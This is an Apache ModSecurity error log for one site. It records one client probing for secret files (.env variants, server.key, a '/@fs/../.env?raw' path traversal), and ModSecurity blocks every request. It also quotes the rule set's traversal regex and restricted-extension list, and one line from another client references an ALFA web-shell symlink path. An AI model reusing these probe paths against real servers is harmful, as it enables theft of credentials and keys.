[Mon Oct 26 02:31:09.371993 2026] [security2:error] [pid 2984441:tid 2984441] [client 34.153.219.8:43478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.keys"] [unique_id "at7zray4l0fHhEjHUwfK8QAAAAo"]
[Mon Oct 26 02:31:09.372257 2026] [security2:error] [pid 2984441:tid 2984441] [client 34.153.219.8:43478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.keys"] [unique_id "at7zray4l0fHhEjHUwfK8QAAAAo"]
[Mon Oct 26 02:31:09.373047 2026] [security2:error] [pid 2984441:tid 2984441] [client 34.153.219.8:43478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zray4l0fHhEjHUwfK8QAAAAo"]
[Mon Oct 26 02:31:09.375842 2026] [security2:error] [pid 2984440:tid 2984440] [client 34.153.219.8:43462] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.staging.local"] [unique_id "at7zrcmcdBtWcg_eZyeaWgAAAAY"]
[Mon Oct 26 02:31:09.376001 2026] [security2:error] [pid 2984440:tid 2984440] [client 34.153.219.8:43462] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.staging.local"] [unique_id "at7zrcmcdBtWcg_eZyeaWgAAAAY"]
[Mon Oct 26 02:31:09.376725 2026] [security2:error] [pid 2984440:tid 2984440] [client 34.153.219.8:43462] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zrcmcdBtWcg_eZyeaWgAAAAY"]
[Mon Oct 26 02:31:09.377736 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.153.219.8:43442] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.credentials"] [unique_id "at7zrX9jXGqHxPWOUzy_jQAAAAM"]
[Mon Oct 26 02:31:09.377911 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.153.219.8:43442] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.credentials"] [unique_id "at7zrX9jXGqHxPWOUzy_jQAAAAM"]
[Mon Oct 26 02:31:09.378744 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.153.219.8:43442] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zrX9jXGqHxPWOUzy_jQAAAAM"]
[Mon Oct 26 02:31:09.379807 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:43486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.dev.local"] [unique_id "at7zraflAYQKhf1b3nSADwAAAAA"]
[Mon Oct 26 02:31:09.379966 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:43486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.dev.local"] [unique_id "at7zraflAYQKhf1b3nSADwAAAAA"]
[Mon Oct 26 02:31:09.380698 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:43486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zraflAYQKhf1b3nSADwAAAAA"]
[Mon Oct 26 02:31:09.563021 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:43416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.secret"] [unique_id "at7zrW71mB7d7Sol4w_LAAAAAA4"]
[Mon Oct 26 02:31:09.563319 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:43416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.secret"] [unique_id "at7zrW71mB7d7Sol4w_LAAAAAA4"]
[Mon Oct 26 02:31:09.564180 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:43416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zrW71mB7d7Sol4w_LAAAAAA4"]
[Mon Oct 26 02:31:09.593947 2026] [security2:error] [pid 2984446:tid 2984446] [client 34.153.219.8:43452] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.development.local"] [unique_id "at7zrYaZ67QFuw3jdpPd4wAAAA8"]
[Mon Oct 26 02:31:09.594224 2026] [security2:error] [pid 2984446:tid 2984446] [client 34.153.219.8:43452] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.development.local"] [unique_id "at7zrYaZ67QFuw3jdpPd4wAAAA8"]
[Mon Oct 26 02:31:09.595345 2026] [security2:error] [pid 2984446:tid 2984446] [client 34.153.219.8:43452] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zrYaZ67QFuw3jdpPd4wAAAA8"]
[Mon Oct 26 02:31:10.087553 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:43494] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.testing"] [unique_id "at7zrm71mB7d7Sol4w_LAQAAAA4"]
[Mon Oct 26 02:31:10.087796 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:43494] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.testing"] [unique_id "at7zrm71mB7d7Sol4w_LAQAAAA4"]
[Mon Oct 26 02:31:10.088737 2026] [security2:error] [pid 2984442:tid 2984442] [client 34.153.219.8:43494] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zrm71mB7d7Sol4w_LAQAAAA4"]
[Mon Oct 26 02:31:10.259766 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.153.219.8:43536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/app/.env"] [unique_id "at7zrn9jXGqHxPWOUzy_jgAAAAM"]
[Mon Oct 26 02:31:10.260312 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.153.219.8:43536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/app/.env"] [unique_id "at7zrn9jXGqHxPWOUzy_jgAAAAM"]
[Mon Oct 26 02:31:10.261123 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.153.219.8:43536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zrn9jXGqHxPWOUzy_jgAAAAM"]
[Mon Oct 26 02:31:10.269179 2026] [security2:error] [pid 2984316:tid 2984316] [client 34.153.219.8:43512] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.config"] [unique_id "at7zrimvL3FYV1A8W3js5wAAAA0"]
[Mon Oct 26 02:31:10.269367 2026] [security2:error] [pid 2984316:tid 2984316] [client 34.153.219.8:43512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.config"] [unique_id "at7zrimvL3FYV1A8W3js5wAAAA0"]
[Mon Oct 26 02:31:10.270275 2026] [security2:error] [pid 2984316:tid 2984316] [client 34.153.219.8:43512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zrimvL3FYV1A8W3js5wAAAA0"]
[Mon Oct 26 02:31:10.287691 2026] [security2:error] [pid 2984446:tid 2984446] [client 34.153.219.8:43516] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/server.key"] [unique_id "at7zroaZ67QFuw3jdpPd5AAAAA8"]
[Mon Oct 26 02:31:10.287982 2026] [security2:error] [pid 2984446:tid 2984446] [client 34.153.219.8:43516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/server.key"] [unique_id "at7zroaZ67QFuw3jdpPd5AAAAA8"]
[Mon Oct 26 02:31:10.288725 2026] [security2:error] [pid 2984446:tid 2984446] [client 34.153.219.8:43516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zroaZ67QFuw3jdpPd5AAAAA8"]
[Mon Oct 26 02:31:10.326310 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:43522] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/src/.env"] [unique_id "at7zrqflAYQKhf1b3nSAEAAAAAA"]
[Mon Oct 26 02:31:10.326787 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:43522] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/src/.env"] [unique_id "at7zrqflAYQKhf1b3nSAEAAAAAA"]
[Mon Oct 26 02:31:10.327575 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:43522] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zrqflAYQKhf1b3nSAEAAAAAA"]
[Mon Oct 26 02:31:10.489288 2026] [core:error] [pid 2984442:tid 2984442] (13)Permission denied: [client 54.225.81.20:8402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:11/subsystem/drivers/button/bind
[Mon Oct 26 02:31:10.579179 2026] [security2:error] [pid 2984441:tid 2984441] [client 34.153.219.8:43504] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7zrqy4l0fHhEjHUwfK8wAAAAo"]
[Mon Oct 26 02:31:10.579317 2026] [security2:error] [pid 2984441:tid 2984441] [client 34.153.219.8:43504] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7zrqy4l0fHhEjHUwfK8wAAAAo"]
[Mon Oct 26 02:31:10.579693 2026] [security2:error] [pid 2984441:tid 2984441] [client 34.153.219.8:43504] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7zrqy4l0fHhEjHUwfK8wAAAAo"]
[Mon Oct 26 02:31:10.580472 2026] [security2:error] [pid 2984441:tid 2984441] [client 34.153.219.8:43504] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zrqy4l0fHhEjHUwfK8wAAAAo"]
